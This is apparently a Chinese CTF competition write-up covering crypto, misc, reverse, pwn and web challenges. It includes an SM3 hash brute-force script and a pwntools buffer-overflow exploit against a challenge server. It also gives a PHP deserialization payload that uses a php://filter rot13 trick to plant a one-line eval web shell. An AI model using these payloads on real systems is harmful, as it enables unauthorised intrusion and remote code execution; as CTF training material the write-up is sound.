Crypto
easy-sm
题目提示为密码为 adminxxxxxx ,可以爆破:
import sys
from gmssl import sm3, func
from multiprocessing import Process, Manager, cpu_count
def sm3_hash(message):
return sm3.sm3_hash(func.bytes_to_list(message.encode('utf-8')))
def worker(prefix, start, end, target_hash, shared_dict):
for i in range(start, end):
if 'found' in shared_dict:
return
suffix = f"{i:06d}"
password = prefix + suffix
current_hash = sm3_hash(password)
if current_hash == target_hash:
shared_dict['found'] = f"flag{{{password}}}"
return
if i % 100000 == 0:
print(f"进程 {prefix}: 已尝试 {i} 个密码...")
def main():
target_hash = 'f1127f0189ad9e1bde949fb14991db82c9c9b41e90edcf014898595e8ab908c0'
prefix = 'admin'
total = 1000000 # 生成的密码范围从 000000 到 999999
num_processes = cpu_count() # 使用所有可用的CPU核心
chunk_size = total // num_processes # 每个进程处理的密码数量
processes = []
with Manager() as manager:
shared_dict = manager.dict()
for i in range(num_processes):
start = i * chunk_size
end = (i + 1) * chunk_size if i != num_processes - 1 else total
p = Process(target=worker, args=(prefix, start, end, target_hash, shared_dict))
processes.append(p)
p.start()
for p in processes:
p.join()
if 'found' in shared_dict:
print(f"密码找到: {shared_dict['found']}")
else:
print("未找到匹配的密码。")
if __name__ == "__main__":
main()

easy-train

找到一个长得很像 flag 的格式,


根据 galf 提示可能使用了 Atbash Cipher,ROT13后得到 Flag

Misc
keyboard
用脚本检测到伪加密,移除。
用脚本分析流量数据,得到 Flag。

DNS
存在大量对 *.192.168.191.129 的请求,猜测 * 处传递了十六进制密文。复制所有密文拼接,十六进制解码:

Reverse
签到
IDA打开直接读。

Re2

Base64, 注意换了表 ABCDEFGHIJKLMN0PQRSTUVWXYZabcdefghijklmnOpqrstuvwxyzo123456789+/

异或 0x78

包上 flag{} 提交。
Pwn
签到
简单的栈溢出,覆盖 30h-20h 个字节即可。
from pwn import *
p = remote("221.178.230.105", 44815)
payload = b'A' * 16 + b'admin'
p.sendline(payload)
p.interactive()
# cat /flag


Web
签到
存在 Shiro Rememberme 反序列化漏洞,根据博客构造 POC 执行命令:
https://blog.csdn.net/weixin_44037296/article/details/116304433
Web2
PHP 反序列化 + php://filter 伪协议绕过 die ,
$a = new Who();
$b = new Lisi("php://filter/string.rot13/resource=shell.php", '<?cuc riny($_CBFG[\'nop\']);?>');
$a->char = $b;
echo serialize($a);
// ?a=O:3:"Who":1:{s:4:"char";O:4:"Lisi":2:{s:4:"file";s:40:"php://filter/string.rot13/resource=1.php";s:4:"text";s:26:"<?cuc riny($_CBFG['nop']);?>";}}
写入 shell.php 文件马,密码为 abc。
